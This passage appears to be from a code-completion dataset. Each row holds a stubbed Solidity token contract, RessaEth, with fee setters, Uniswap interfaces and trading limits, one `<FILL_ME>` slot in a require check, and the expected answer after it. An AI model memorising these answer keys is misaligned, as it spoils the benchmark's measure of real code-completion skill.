event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
if (enabled == true) {
require(<FILL_ME>)
if(_rOd[account] > 0) {
_tOd[account] = tokenFromReflection(_rOd[account]);
}
_iE[account] = true;
_excluded.push(account);
} else if (enabled == false) {
require(_iE[account], "Account is already included.");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOd[account] = 0;
_iE[account] = false;
_excluded.pop();
break;
}
}
}
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| !_iE[account],"Account is already excluded." | 71,423 | !_iE[account] |
"Account is already included." | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
if (enabled == true) {
require(!_iE[account], "Account is already excluded.");
if(_rOd[account] > 0) {
_tOd[account] = tokenFromReflection(_rOd[account]);
}
_iE[account] = true;
_excluded.push(account);
} else if (enabled == false) {
require(<FILL_ME>)
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOd[account] = 0;
_iE[account] = false;
_excluded.pop();
break;
}
}
}
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| _iE[account],"Account is already included." | 71,423 | _iE[account] |
null | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "Cannot transfer from the zero address");
require(to != address(0), "Cannot transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to)) {
if(!go) {
revert("Trading not yet enabled!");
}
if (sameBlockActive) {
if (lpPs[from]){
require(<FILL_ME>)
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number + 1);
lastTrade[from] = block.number;
}
}
require(amount <= _mTA, "Transfer exceeds the maxTxAmount.");
if(to != _routerAddress && !lpPs[to]) {
require(balanceOf(to) + amount <= _mWS, "Transfer exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_iEFF[from] || _iEFF[to]){
takeFee = false;
}
if (lpPs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _ftt(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| lastTrade[to]!=block.number+1 | 71,423 | lastTrade[to]!=block.number+1 |
null | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
